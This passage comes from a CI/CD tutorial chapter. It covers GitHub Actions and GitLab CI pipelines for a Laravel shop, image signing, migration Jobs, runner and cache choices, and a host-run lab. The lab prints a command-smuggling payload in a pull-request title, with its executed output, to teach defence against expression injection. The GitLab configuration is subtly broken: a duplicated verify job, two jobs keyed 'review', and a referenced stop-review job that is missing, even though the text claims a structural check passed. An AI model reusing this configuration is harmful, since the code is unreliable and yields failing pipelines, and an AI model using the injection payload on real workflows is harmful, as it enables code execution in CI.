      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7
        with:
          name: coverage-shop-${{ matrix.shard }}
          path: apps/shop/coverage-${{ matrix.shard }}.xml
          retention-days: 7

  coverage:
    needs: test
    runs-on: ubuntu-24.04
    defaults:
      run:
        working-directory: .
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8
        with:
          pattern: coverage-shop-*
          merge-multiple: true
          path: coverage
      - working-directory: coverage
        run: |
          echo "### Clover reports from $(ls | wc -l) shards" >> "$GITHUB_STEP_SUMMARY"
          ls -1 >> "$GITHUB_STEP_SUMMARY"

  image:
    needs: [quality, test]
    if: github.event_name != 'pull_request'
    permissions:
      contents: read
      packages: write
      id-token: write
      attestations: write
    uses: ./.github/workflows/reusable-image.yml
    with:
      name: shop-app
      context: apps/shop
      target: app
      image: ghcr.io/acme/shop-app

  # Verify, migrate and roll out in ONE job under ONE concurrency group per
  # environment, so a migration of one release never overlaps another's rollout.
  deploy-staging:
    needs: image
    runs-on: ubuntu-24.04
    timeout-minutes: 30
    environment:
      name: staging
      url: https://shop.staging.acme.example
    concurrency:
      group: deploy-shop-staging
      cancel-in-progress: false
    permissions:
      contents: read
      packages: read
      attestations: read
      id-token: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - uses: ./.github/actions/verify-image
        with:
          image: ghcr.io/acme/shop-app
          digest: ${{ needs.image.outputs.digest }}
          github-token: ${{ github.token }}
      - uses: aws-actions/configure-aws-credentials@45666896f5d8e0f10ae255413f3a4cdd03bdc8f5 # v6
        with:
          role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
          aws-region: eu-central-1
          role-duration-seconds: 900   # session outlives the job; keep it at the 15-minute minimum
      - name: Migrate (Job), then roll out the digest
        env:
          IMAGE: ghcr.io/acme/shop-app@${{ needs.image.outputs.digest }}
          DIGEST: ${{ needs.image.outputs.digest }}
          RUN_ID: ${{ github.run_id }}
          CLUSTER: staging
        run: ./deploy/migrate-and-rollout.sh

  deploy-production:
    needs: [image, deploy-staging]
    if: startsWith(github.ref, 'refs/tags/shop/v')
    runs-on: ubuntu-24.04
    timeout-minutes: 40
    environment:
      name: production
      url: https://shop.acme.example
    concurrency:
      group: deploy-shop-production
      cancel-in-progress: false
    permissions:
      contents: read
      packages: read
      attestations: read
      id-token: write
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7
        with:
          persist-credentials: false
      - uses: docker/login-action@8aa5831fb8d48d8f76594c7ddde61ae58019f550 # v4
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}
      - uses: ./.github/actions/verify-image
        with:
          image: ghcr.io/acme/shop-app
          digest: ${{ needs.image.outputs.digest }}
          github-token: ${{ github.token }}
      - uses: aws-actions/configure-aws-credentials@45666896f5d8e0f10ae255413f3a4cdd03bdc8f5 # v6
        with:
          role-to-assume: ${{ vars.AWS_DEPLOY_ROLE_ARN }}
          aws-region: eu-central-1
          role-duration-seconds: 900
      - name: Migrate (expand step only), then roll out the same digest
        env:
          IMAGE: ghcr.io/acme/shop-app@${{ needs.image.outputs.digest }}
          DIGEST: ${{ needs.image.outputs.digest }}
          RUN_ID: ${{ github.run_id }}
          CLUSTER: production
        run: ./deploy/migrate-and-rollout.sh

The script both deploy jobs (and the GitLab .k8s template) run, in apps/shop/deploy/: a migration Job with --isolated, backoffLimit: 0 and an activeDeadlineSeconds below the wait timeout; on failure it prints logs, deletes the Job and stops before the rollout:

bash
#!/usr/bin/env bash
# apps/shop/deploy/migrate-and-rollout.sh: run by the deploy job of each environment
# (GitHub: inside the job's concurrency group; GitLab: inside its resource_group).
# Env: IMAGE (repo@sha256:...), DIGEST, RUN_ID, and CLUSTER (EKS) or KUBE_CONTEXT (GitLab agent).
set -euo pipefail
: "${IMAGE:?}" "${DIGEST:?}" "${RUN_ID:?}"
NS=shop
JOB="migrate-$RUN_ID"
DEADLINE=600   # the Job is killed by Kubernetes after this many seconds

if [ -n "${KUBE_CONTEXT:-}" ]; then
  kubectl config use-context "$KUBE_CONTEXT"
else
  aws eks update-kubeconfig --name "${CLUSTER:?}"
fi

kubectl -n "$NS" apply -f - <<MANIFEST
apiVersion: batch/v1
kind: Job
metadata:
  name: $JOB
spec:
  backoffLimit: 0                    # a failed migration is investigated, not retried
  activeDeadlineSeconds: $DEADLINE
  ttlSecondsAfterFinished: 86400
  template:
    spec:
      restartPolicy: Never
      containers:
        - name: migrate
          image: $IMAGE
          # --isolated: Laravel's cache lock, a second line of defence if two Jobs ever start
          command: ["php", "artisan", "migrate", "--force", "--isolated"]
          envFrom:                   # same config and secrets as the Deployment
            - configMapRef: {name: shop-config}
            - secretRef: {name: shop-secrets}
MANIFEST

# Wait longer than the Job's own deadline, so when the wait ends the Job has ended too
# and the CI lock is never released while a migration is still running.
if ! kubectl -n "$NS" wait --for=condition=complete --timeout="$((DEADLINE + 60))s" "job/$JOB"; then
  kubectl -n "$NS" logs "job/$JOB" --tail=200 || true
  kubectl -n "$NS" delete job "$JOB" --cascade=foreground --wait=true
  echo "migration failed or exceeded ${DEADLINE}s; rollout skipped" >&2
  exit 1
fi
kubectl -n "$NS" logs "job/$JOB"

helm upgrade --install shop deploy/chart --namespace "$NS" --atomic --wait --timeout 10m \
  --set image.repository="${IMAGE%@*}" --set image.digest="$DIGEST"

The GitLab CI equivalent with a verify-image job that review and deploy jobs need, PostgreSQL service, smoke suite per shard, review apps per merge request, a codequality report from PHPStan, a Cobertura coverage_report, keyless signing, resource_group per environment and a manual production job:

yaml
# .gitlab-ci.yml of the acme/shop project (Laravel 13, GitLab CI)
# composer -> Pint + PHPStan + sharded Pest on PostgreSQL -> image (build + sign)
# -> verify -> review app (MRs) / migrate + deploy staging -> manual migrate + deploy production
workflow:
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS
      when: never
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
    - if: $CI_COMMIT_TAG =~ /^v\d+\.\d+\.\d+$/
  auto_cancel:
    on_new_commit: interruptible

include:
  - project: acme/ci-templates
    ref: v3.2.0
    file: /templates/buildx.yml

stages: [prepare, quality, test, build, verify, review, deploy]

default:
  image: php:8.4-cli
  interruptible: true
  before_script:
    - apt-get update -qq && apt-get install -y -qq git unzip libicu-dev libzip-dev libpq-dev > /dev/null
    - docker-php-ext-install -j"$(nproc)" intl zip pdo_pgsql bcmath pcntl > /dev/null
    - pecl install pcov > /dev/null && docker-php-ext-enable pcov
    - curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer

variables:
  COMPOSER_CACHE_DIR: $CI_PROJECT_DIR/.composer-cache

composer:
  stage: prepare
  cache:
    key:
      files: [composer.lock]
      prefix: composer
    paths: [.composer-cache/]
  script:
    - composer install --no-interaction --no-progress --prefer-dist --optimize-autoloader
  artifacts:                    # vendor/ is an OUTPUT later jobs need: artifact, not cache
    paths: [vendor/]
    expire_in: 2 hours

pint:
  stage: quality
  needs: [composer]
  script:
    - vendor/bin/pint --test

phpstan:
  stage: quality
  needs: [composer]
  script:
    - vendor/bin/phpstan analyse --error-format=gitlab --memory-limit=1G > phpstan.json || (cat phpstan.json; exit 1)
  artifacts:
    when: always
    reports:
      codequality: phpstan.json

pest:
  stage: test
  needs: [composer]
  parallel: 3
  services:
    - name: postgres:18
      alias: postgres
  variables:
    POSTGRES_DB: testing
    POSTGRES_USER: shop
    POSTGRES_PASSWORD: $CI_DB_PASSWORD     # masked CI/CD variable, not in the file
    DB_CONNECTION: pgsql
    DB_HOST: postgres
    DB_PORT: "5432"
    DB_DATABASE: testing
    DB_USERNAME: shop
    DB_PASSWORD: $CI_DB_PASSWORD
  script:
    - cp .env.example .env && php artisan key:generate
    - php artisan migrate --force             # migrations must apply to an empty database
    - vendor/bin/pest --ci tests/Pipeline      # smoke tests on every shard
    - vendor/bin/pest --ci --testsuite=Feature,Unit --shard="$CI_NODE_INDEX/$CI_NODE_TOTAL" --coverage-cobertura "coverage-$CI_NODE_INDEX.xml"
  artifacts:
    when: always
    reports:
      coverage_report:
        coverage_format: cobertura
        path: coverage-*.xml

verify-image:
  stage: verify
  image: alpine:3.23
  needs: [image]
  before_script:
    - apk add --no-cache cosign
    - cosign login "$CI_REGISTRY" -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD"
  script:
    # Identity = this project's own .gitlab-ci.yml (note the required "//"), any ref of it.
    - cosign verify "$CI_REGISTRY_IMAGE@$IMAGE_DIGEST"
        --certificate-oidc-issuer "$CI_SERVER_URL"
        --certificate-identity-regexp "^${CI_PROJECT_URL}//\.gitlab-ci\.yml@refs/"
        > /dev/null
    - echo "signature ok for $IMAGE_DIGEST"

review:
  stage: review
  image: alpine/k8s:1.36.7
  before_script: []
  needs: [image, verify-image]
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
  environment:
    name: review/$CI_COMMIT_REF_SLUG
    url: https://$CI_ENVIRONMENT_SLUG.review.shop.acme.example
    on_stop: stop-review
    auto_stop_in: 3 days
  script:
    - kubectl config use-context acme/agents:review
    - helm upgrade --install "shop-$CI_ENVIRONMENT_SLUG" deploy/chart --namespace review --create-namespace --wait
        --set image.repository="$CI_REGISTRY_IMAGE" --set image.digest="$IMAGE_DIGEST"
        --set ingress.host="$CI_ENVIRONMENT_SLUG.review.shop.acme.example"

stop-verify-image:
  stage: verify
  image: alpine:3.23
  needs: [image]
  before_script:
    - apk add --no-cache cosign
    - cosign login "$CI_REGISTRY" -u "$CI_REGISTRY_USER" -p "$CI_REGISTRY_PASSWORD"
  script:
    # Identity = this project's own .gitlab-ci.yml (note the required "//"), any ref of it.
    - cosign verify "$CI_REGISTRY_IMAGE@$IMAGE_DIGEST"
        --certificate-oidc-issuer "$CI_SERVER_URL"
        --certificate-identity-regexp "^${CI_PROJECT_URL}//\.gitlab-ci\.yml@refs/"
        > /dev/null
    - echo "signature ok for $IMAGE_DIGEST"

review:
  stage: review
  image: alpine/k8s:1.36.7
  before_script: []
  needs: [review]
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
      when: manual
  allow_failure: true
  environment:
    name: review/$CI_COMMIT_REF_SLUG
    action: stop
  script:
    - kubectl config use-context acme/agents:review
    - helm uninstall "shop-$CI_ENVIRONMENT_SLUG" --namespace review

image:
  stage: build
  extends: .buildx
  needs: [pint, phpstan, pest]
  id_tokens:
    SIGSTORE_ID_TOKEN:
      aud: sigstore
  variables:
    COSIGN_YES: "true"
  script:
    - |
      docker buildx build --platform linux/amd64,linux/arm64 --target app \
        --tag "$CI_REGISTRY_IMAGE:$CI_COMMIT_SHA" \
        --cache-from "type=registry,ref=$BUILDX_CACHE_REF" \
        --cache-to "type=registry,ref=$BUILDX_CACHE_REF,mode=max" \
        --provenance=mode=max --sbom=true --metadata-file meta.json --push .
    - DIGEST=$(jq -r '."containerimage.digest"' meta.json)
    - cosign sign "$CI_REGISTRY_IMAGE@$DIGEST"
    - echo "IMAGE_DIGEST=$DIGEST" > build.env
  artifacts:
    reports:
      dotenv: build.env

.k8s:
  stage: deploy
  image: alpine/k8s:1.36.7
  before_script: []
  interruptible: false
  variables:
    RUN_ID: $CI_PIPELINE_ID
  script:
    # Migration Job (deadline, no retries, --isolated) then helm, in one job under
    # one resource_group per environment; same script as the GitHub pipeline.
    - IMAGE="$CI_REGISTRY_IMAGE@$IMAGE_DIGEST" DIGEST="$IMAGE_DIGEST"
        KUBE_CONTEXT="acme/agents:$KUBE_AGENT" bash deploy/migrate-and-rollout.sh

deploy-staging:
  extends: .k8s
  needs: [image, verify-image]
  resource_group: shop-staging      # migrations and rollouts never overlap
  variables:
    KUBE_AGENT: staging
  environment:
    name: staging
    url: https://shop.staging.acme.example
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH || $CI_COMMIT_TAG

deploy-production:
  extends: .k8s
  needs: [image, verify-image, deploy-staging]
  resource_group: shop-production
  variables:
    KUBE_AGENT: production
  environment:
    name: production
    url: https://shop.acme.example
  rules:
    - if: $CI_COMMIT_TAG
      when: manual

The application side: PHPStan configuration with tmpDir inside the workspace, a phpunit.xml that defaults to PostgreSQL and declares a separate Pipeline suite, and the Pest smoke tests every shard runs explicitly with pest tests/Pipeline before its sharded Feature,Unit run (the app boots and /up answers, the suite really runs on PostgreSQL, no migration is pending):

yaml
# apps/shop/phpstan.neon
parameters:
    level: 6
    paths:
        - app
        - routes
        - database
    # Result cache inside the workspace so CI can cache it between runs.
    tmpDir: tmp
xml
<?xml version="1.0" encoding="UTF-8"?>
<!-- apps/shop/phpunit.xml (excerpt): CI overrides DB_* through the job environment. -->
<phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:noNamespaceSchemaLocation="vendor/phpunit/phpunit/phpunit.xsd"
         bootstrap="vendor/autoload.php"
         colors="true">
    <testsuites>
        <testsuite name="Feature">
            <directory>tests/Feature</directory>
        </testsuite>
        <testsuite name="Unit">
            <directory>tests/Unit</directory>
        </testsuite>
        <!-- Run on every shard explicitly; the sharded run selects only Feature and Unit -->
        <testsuite name="Pipeline">
            <directory>tests/Pipeline</directory>
        </testsuite>
    </testsuites>
    <source>
        <include>
            <directory>app</directory>
        </include>
    </source>
    <php>
        <env name="APP_ENV" value="testing"/>
        <env name="CACHE_STORE" value="array"/>
        <env name="QUEUE_CONNECTION" value="sync"/>
        <env name="SESSION_DRIVER" value="array"/>
        <env name="DB_CONNECTION" value="pgsql"/>
        <env name="DB_DATABASE" value="testing"/>
    </php>
</phpunit>
php
<?php

// tests/Pipeline/PipelineSmokeTest.php (Pest 4/5 syntax). Its own test suite, run
// explicitly by every CI shard (`pest tests/Pipeline`) before the sharded suites,
// against the PostgreSQL service container the job starts.

use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;

uses(RefreshDatabase::class);

it('boots and answers the health route', function () {
    $this->get('/up')->assertOk();
});

it('runs against PostgreSQL, the production engine, not SQLite', function () {
    // A green suite on SQLite proves little about PostgreSQL SQL and migrations.
    expect(DB::connection()->getDriverName())->toBe('pgsql');
});

it('leaves no migration pending', function () {
    $this->artisan('migrate:status')
        ->doesntExpectOutputToContain('Pending')
        ->assertSuccessful();
});

The Laravel angle ​

  • Composer cache, not vendor/ cache. Cache the directory from composer config cache-files-dir keyed on composer.lock and PHP version, then run composer install; caching vendor/ survives PHP and extension changes it should not. In GitLab, vendor/ produced by the composer job is an artifact the quality and test jobs need, while .composer-cache/ is a cache.
  • Test against the production engine. The production image ships pdo_pgsql, so CI runs a postgres:18 service with a pg_isready health check, DB_CONNECTION=pgsql, and php artisan migrate --force before the tests; the smoke test asserts the driver is pgsql so nobody quietly switches CI back to SQLite. A MySQL shop would use a MySQL service the same way.
  • Parallel and sharded. php artisan test --parallel uses processes on one runner ("as many processes as there are available CPU cores"); Pest --shard=K/N spreads files across runners, time-balanced once tests/.pest/shards.json is committed.
  • Static analysis output in the review UI. PHPStan's --error-format=github annotates the diff on GitHub; --error-format=gitlab feeds GitLab's Code Quality widget. Larastan (the Laravel extension for PHPStan) adds Eloquent and facade awareness.
  • Pint as a gate, not a fixer. CI runs pint --test; developers run pint (or pint --dirty) locally. A pre-commit hook is convenience; CI is the guarantee.
  • Build once, configure per environment. php artisan optimize belongs at container start or in a release step, not in CI (see Images & Dockerfiles); the image the tests validated is the image every environment runs.
  • Migrations as a Job from the new digest, serialised with concurrency/resource_group and never cancelled; expand/contract rules in Zero-Downtime Schema Migrations.

Solving the classic problems ​

ProblemSolutionHowAdvantageCost / limit
PR feedback takes 40 minutesFan-out + time-based splittingIndependent jobs, matrix shards, Pest --shard, Go shard packageVerdict = slowest shardMore start-ups, timing data
Every run re-downloads dependenciesLock-file keyed cachessetup-go with cache-dependency-path, Composer cache, GitLab key:filesMinutes savedPoisoning risk, quota
Image builds slow on fresh runnersExternal BuildKit cachecache-to type=gha,mode=max or type=registry,...,mode=maxCached stages on any runnerExport time, storage
Cloud keys stored in CIOIDC federationid-token: write / id_tokens, trust policy on exact subNothing to leak or rotatePolicy design
"Which bytes are in production?"Build once, deploy by digestJob output / dotenv IMAGE_DIGEST, helm --set image.digestExact promotion and rollbackTooling must carry digests
Unknown or tampered imagesSign + attest + verifycosign keyless, actions/attest, verify identity before deploy and at admissionSLSA Build L2/L3Verification policy to maintain
Two pipelines deploy at onceSerialise per environmentJob concurrency (no cancel), GitLab resource_groupNo interleaved rolloutsQueued deploys
Monorepo runs everythingPath filterspaths: per workflow, rules:changes with compare_toOnly affected pipelinesRequired-check gotcha
PR title or branch name runs as codeNo expressions in scriptsenv: + "$VAR"Data stays dataDiscipline; lint with a workflow linter
Fork PR needs secretsSplit trustpull_request for code, pull_request_target only for metadataNo pwn requestsSome checks cannot use secrets
Action supply-chain compromisePin by SHA + Dependabot@<sha> # vN, cooldownMoved tags do nothingUpdate PRs
Flaky test blocks everyoneQuarantine with an ownerSeparate non-blocking job, issue + deadline, infra-only retriesGreen main lineMust not become a graveyard

Speeding up a slow Go pipeline ​

Order of impact on the orders-api workflow: (1) split lint and test into parallel jobs; (2) enable setup-go caching keyed on go.sum; (3) build the image only on push, never on PRs; (4) gha layer cache with mode=max; (5) if tests still dominate, shard by measured time with the shard package; (6) cancel superseded PR runs.

Removing the last stored cloud key ​

Create the IAM OIDC provider and one role per environment (typically in Terraform); trust aud = sts.amazonaws.com and sub = repo:acme/commerce:environment:production for the production role; grant the deploy job id-token: write; replace the access-key secrets with aws-actions/configure-aws-credentials and role-to-assume; delete the key in IAM; confirm with CloudTrail that only AssumeRoleWithWebIdentity calls remain.

Making production deploys auditable ​

Production environment with required reviewers and self-review prevention; deploy only from release tags (deployment branches and tags rule); the deploy job verifies the cosign signature and attestation of the digest; the job summary records the digest; the environment's deployment history links run, commit, approver and digest.

Stopping injection and pwn requests across 200 repositories ​

Organisation default GITHUB_TOKEN restricted; a required reusable workflow or a workflow linter in CI that flags expressions in run: and pull_request_target with checkout; actions policy allowing only verified creators and SHA-pinned references; GitHub's default pull_request_target policy left enforced for public repositories (from 2 December 2026).

Making the migration step safe ​

Expand/contract migrations only; a migration Job created from the new digest, with --isolated, backoffLimit: 0 and an activeDeadlineSeconds below the kubectl wait timeout, run in the same job as the rollout under one concurrency group / resource_group per environment, never cancelled, deleted and failed loudly when the wait fails; and CI's own migrate --force on a fresh PostgreSQL in every test shard.

Taming the bill ​

Look at minutes by workflow and runner type first; move macOS/Windows jobs off PRs unless the product needs them; arm64 runners where the image targets arm64; cancel-in-progress on PR runs; short artifact retention; nightly matrices instead of per-PR matrices; self-hosted ephemeral runners (ARC) when the hosted bill exceeds the cost of running a cluster.

Choosing ​

Which CI system ​

SituationChooseWhy
Code on GitHub, cloud deploysGitHub ActionsNative PR integration, OIDC, environments, attestations, marketplace
Code on GitLab (SaaS or self-managed)GitLab CINeeds DAG, review apps, protected environments, built-in registry and id_tokens
Several forges, on-premises network, device labs, heavy existing pluginsJenkinsForge-independent, any agent; you run it
Strict air-gapSelf-managed GitLab or Jenkins with own runners/agentsNo SaaS dependency
Many repositories, one platform teamWhichever forge you use, plus reusable workflows / CI/CD componentsGolden path in one place

Which runners ​

WorkloadRunnerNote
Public repository, fork PRsGitHub-hosted / GitLab SaaSNever persistent self-hosted
Private repo, needs VPC accessEphemeral self-hosted (ARC, Docker Autoscaler, Kubernetes executor)Restrict runner groups to trusted workflows
arm64 imagesNative arm64 runnersAvoid QEMU for compiled stacks
Very large buildsLarger runners or self-hosted big nodesCompare per-minute rate × duration
Hardware or GPUsSelf-hosted, ephemeral if possibleIsolate per job

Which cache backend ​

CacheUse whenAvoid when
setup-* built-in cacheStandard ecosystems on GitHubYou need custom paths or keys
actions/cacheCustom directories (Composer, PHPStan)Storing outputs that must exist
GitLab cache: + S3 distributed cacheAutoscaled GitLab runnersPassing build results (use artifacts)
BuildKit type=ghaGitHub, moderate image countQuota pressure from many images
BuildKit type=registryAny CI, large images, cross-CI reuseRegistry storage is expensive

Push deploy from CI or GitOps ​

ModelHowChoose whenWatch out
Push (this chapter's pipelines)CI job assumes a cloud role and runs helm upgradeFew clusters, one team, simple promotionCI holds cluster credentials (short-lived with OIDC)
Pull / GitOpsCI commits the new digest to a config repo; Argo CD or Flux applies itMany clusters, drift detection, audit in GitPromotion is a Git change; see GitOps
ProgressiveEither of the above + canary analysisRisky changes, high trafficSee Deployment Strategies

Which signing method ​

MethodIdentityKey managementChoose when
cosign keyless (GitHub/GitLab OIDC)Workflow identity in a Fulcio certificateNoneForge-native CI with OIDC
GitHub artifact attestationsSame, stored in the attestations APINoneGitHub, wanting SLSA provenance and gh attestation verify
cosign with KMS keyKey in AWS/GCP KMSKMS policyJenkins or any CI without a trusted OIDC issuer
Notation / otherCertificatesPKIOrganisation already standardised on it

In architecture: from a single process to a distributed system ​

A pipeline is the factory for every deployable unit, so its shape follows the shape of the system: how many artefacts, who owns them, where they run, and who may promote them.

Monolith: one repository, one pipeline ​

The Laravel shop alone: one workflow file with lint, Pest on PostgreSQL, image, migration Job, staging and production. The simplest correct version already needs the essentials of this chapter: permissions: contents: read, lock-file caches, a database service container of the production engine, build once and deploy by digest, a production environment with a reviewer, and the migration step serialised. Nothing here requires reusable workflows yet; a composite action removes the setup duplication between the quality and test jobs.

Modular monolith and monorepo: one repository, several pipelines ​

acme/commerce holds the Go orders-api and the Laravel shop. Monorepo path filters keep a PHP change from running Go tests; tags are prefixed per component (orders-api/v1.4.2, shop/v2.8.0) so releases are independent; one reusable image workflow gives both the same build, cache, signing and attestation; branch protection requires a single always-running gate job so skipped workflows do not block merges; CODEOWNERS (see Git & Version Control) puts each team on its own path.

Microservices: many repositories, a golden path ​

Forty services in forty repositories. What must be shared is the golden path, versioned like a product: the reusable build-sign-attest workflow in acme/platform-workflows (callers pin it by SHA), composite setup actions per language, GitLab templates or CI/CD components with spec:inputs, organisation-level OIDC trust (one deploy role per service and environment), and an admission policy that only admits digests whose certificate identity is the central workflow. A typical release of payments v3.1.0:

text
1  tag v3.1.0 in acme/payments -> caller workflow -> acme/platform-workflows/.github/workflows/image.yml@<sha>
2  digest D signed; certificate SAN = https://github.com/acme/platform-workflows/.github/workflows/image.yml@<ref>
3  attestation for D (SLSA Build L3: build isolated in the shared reusable workflow)
4  deploy job (or GitOps PR) for staging -> Argo CD sync -> admission verifies identity of D
5  production environment approval -> same D promoted; other services untouched

The platform team owns that path; Platform Engineering is the organisational side.

Distributed data and many regions: runners, caches, registries ​

At scale CI itself is a distributed system. Runner fleets (ARC scale sets, GitLab Docker Autoscaler) sit in several regions and networks; a migration job must run where it can reach the database, so environments map to runner groups. Caches are regional and eventually consistent: a cache written in one region or branch scope may be absent in another, so pipelines must stay correct on a cold cache. Registries replicate images and their signatures and attestations (OCI referrers), or verification fails in the far region. Deploys to several clusters become fan-out jobs with per-region concurrency groups, or one GitOps commit that several Argo CD instances pull. Database migrations stay single-writer: one migration Job per database cluster, serialised, before any region rolls out code that needs the new schema.

Scaling path: 1x, 10x, 100x ​

ScalePipeline shapeSecurityCost and speed
1x (one team, one app)One workflow, hosted runners, one environment gatecontents: read default, OIDC, pinned actionsCaches, cancel superseded PR runs
10x (several teams, monorepo or a few repos)Reusable workflows, composite actions, path filters, review appsEnvironments per team, signed images, DependabotTest splitting, gha/registry layer caches, arm64 runners
100x (many repos, regions, clusters)Golden-path workflows/components owned by a platform team, GitOps promotion, ARC fleetsOrg policies (restricted token, allowed actions, pull_request_target policy), admission verification, SLSA L3Self-hosted ephemeral pools, cost dashboards per repo, nightly heavy matrices

Lab ​

Label: pipeline runs, gh, glab, cosign, kubectl, helm and Jenkins are expected, not run: there are no runners in this build environment, act is not installed, and no cloud or cluster credentials exist. Steps marked ran on the host were executed on macOS (Go 1.27.4 darwin/arm64, bash 3.2, Ruby with Psych, PHP 8.6) and show real output, saved in pipeline/sources/ci-cd-pipelines/lab-host-output.txt.

1. Go gates for the snippet module (ran on the host) ​

bash
cd docs/snippets/platform/ci-cd-pipelines/go
export PATH=/opt/homebrew/bin:$PATH
gofmt -l .            # (no output)
go vet ./...          # (no output)
go test -race -count=1 ./...
# ?   	academy/ci-cd-pipelines/cmd/injectiondemo	[no test files]
# ?   	academy/ci-cd-pipelines/cmd/shardplan	[no test files]
# ok  	academy/ci-cd-pipelines/injection	1.290s
# ok  	academy/ci-cd-pipelines/shard	1.370s

2. Expression injection, reproduced (ran on the host) ​

bash
go run ./cmd/injectiondemo
# == script the shell receives (unsafe) ==
# title="a"; echo "INJECTED-$((6*7))"; echo ""
# echo "checking title: $title"
# == output (unsafe) ==
# INJECTED-42
#
# checking title: a
# == output (safe: env + quoted variable) ==
# checking title: a"; echo "INJECTED-$((6*7))"; echo "

The unsafe run printed INJECTED-42: the arithmetic in the "title" executed. The safe run printed the title byte for byte.

3. Time-balanced shards from real go test -json output (ran on the host) ​

bash
go test -json -count=1 ./... > timings.json
go run ./cmd/shardplan -shard 1 -of 2 < timings.json
# shard 1: 1 tests, 0.01s
# shard 2: 8 tests, 0.00s
# go test -race -count=1 -run '^(TestUnsafeExecutesAttackerCode)$' academy/ci-cd-pipelines/injection
go run ./cmd/shardplan -shard 2 -of 2 < timings.json
# go test -race -count=1 -run '^(TestSafeKeepsPayloadAsData|TestSubstituteIsTextual|TestUnknownExpressionIsEmpty)$' academy/ci-cd-pipelines/injection
# go test -race -count=1 -run '^(TestParseSkipsSubtestsAndPackageEvents|TestRunPattern|TestSplitBalancesByTime|TestSplitIsDeterministicAndComplete|TestSplitMoreShardsThanTests)$' academy/ci-cd-pipelines/shard

On a suite this small the one test that spawns bash dominates (10 ms), so shard 1 gets it alone: exactly what longest-first assignment should do. The shard summary goes to stderr, the commands to stdout, so a matrix cell can eval them.

4. Parse and structurally check every pipeline file (ran on the host) ​

bash
cd docs/snippets/platform/ci-cd-pipelines
ruby -e 'require "yaml"; ARGV.each { |f| YAML.load_stream(File.read(f)); puts "ok #{f}" }' $(find . -name '*.yml') | wc -l
# 13
ruby ../../../../pipeline/sources/ci-cd-pipelines/structcheck.rb .
# 125 structural checks, 0 errors
php -l php/tests/Pipeline/PipelineSmokeTest.php
# No syntax errors detected in php/tests/Pipeline/PipelineSmokeTest.php
bash -n config/verify-image.sh && bash -n config/migrate-and-rollout.sh && echo ok
# ok

structcheck.rb checks what a YAML parser cannot: every GitHub needs names an existing job, reusable-workflow caller jobs have no steps/runs-on and grant id-token: write, no step mixes uses and run, no run: outside the deliberately vulnerable file interpolates an expression, every composite run step has a shell, every GitLab job's stage is in stages, every extends and needs target exists (including hidden jobs from the included template), and every on_stop job exists.

5. Trigger the workflows and watch the graph (expected, not run) ​

bash
git tag orders-api/v1.4.2 && git push origin orders-api/v1.4.2
gh run watch                                   # lint, 3 x test -> image -> deploy-staging -> deploy-production (waiting)
gh run view --log-failed                       # on failure: only the failed steps' logs
# expected: deploy-production shows "Waiting" until a reviewer of the production environment approves
gh api repos/acme/commerce/actions/caches --jq '.actions_caches[] | [.key, .ref, .size_in_bytes] | @tsv'
# expected shape: setup-go-Linux-...<hash>  refs/heads/main  <bytes>; composer-Linux-php8.4-<hash> ...

6. Verify what production will run (expected, not run) ​

bash
# The image is tagged sha-<full commit> (metadata-action type=sha,format=long): resolve that tag to its digest
D=$(crane digest "ghcr.io/acme/orders-api:sha-$(git rev-parse HEAD)")     # prints sha256:...
config/verify-image.sh "ghcr.io/acme/orders-api@$D"
#   = cosign verify ghcr.io/acme/orders-api@sha256:... --certificate-oidc-issuer https://token.actions.githubusercontent.com \
#       --certificate-identity-regexp '^https://github\.com/acme/commerce/\.github/workflows/reusable-image\.yml@refs/(heads/main|tags/[a-z-]+/v[0-9.]+)$'
#     + gh attestation verify oci://ghcr.io/acme/orders-api@sha256:... -R acme/commerce --signer-workflow acme/commerce/.github/workflows/reusable-image.yml
# expected:
# signature ok
# provenance ok
config/verify-image.sh ghcr.io/acme/orders-api:1.4.2
# refusing a tag; pass a digest     (exit 2)

7. GitLab: lint the configuration and watch the DAG (expected, not run) ​

bash
glab ci lint .gitlab-ci.yml                    # or the CI Lint tool in the project's Build > Pipeline editor
glab ci view                                   # needs graph: test starts with lint; image waits for both
# expected on a merge request: composer -> pint, phpstan, pest 1/3..3/3 -> image -> review (environment review/<slug>)

Common misconceptions ​

BeliefReality
Continuous delivery means every commit reaches productionThat is continuous deployment; delivery means it could, with a human or policy deciding
Jobs in one workflow share a filesystemEach job has its own runner; pass files as artifacts, values as outputs
A cache passes build results between jobsCaches are optional and may miss; artifacts and outputs are the contract
Saving a cache with the same key updates itKeys are write-once; use a new key (run ID) plus a prefix restore key
permissions: packages: write adds one scopeIt sets every unlisted scope to none
Quoting an expression in a shell script is safeSubstitution happens before parsing; quotes in the value break out
pull_request_target is the secure version of pull_requestIt is the privileged version; running PR code under it is a pwn request
Fork PRs can use secrets if the workflow needs themSecrets are not passed; the token is read-only, by design
Masked secrets cannot leakMasking is output matching; running code can send them anywhere
OIDC is secure by defaultOnly as strict as the cloud trust policy's sub condition
@v4 pins an actionTags move; only a full commit SHA is immutable
A signature proves the image is safeIt proves origin and integrity; verify the identity and still scan
Path filters also skip tag pipelinesNot on GitHub: "Path filters are not evaluated for pushes of tags"
A skipped workflow passes its required checksThey stay Pending and block the merge
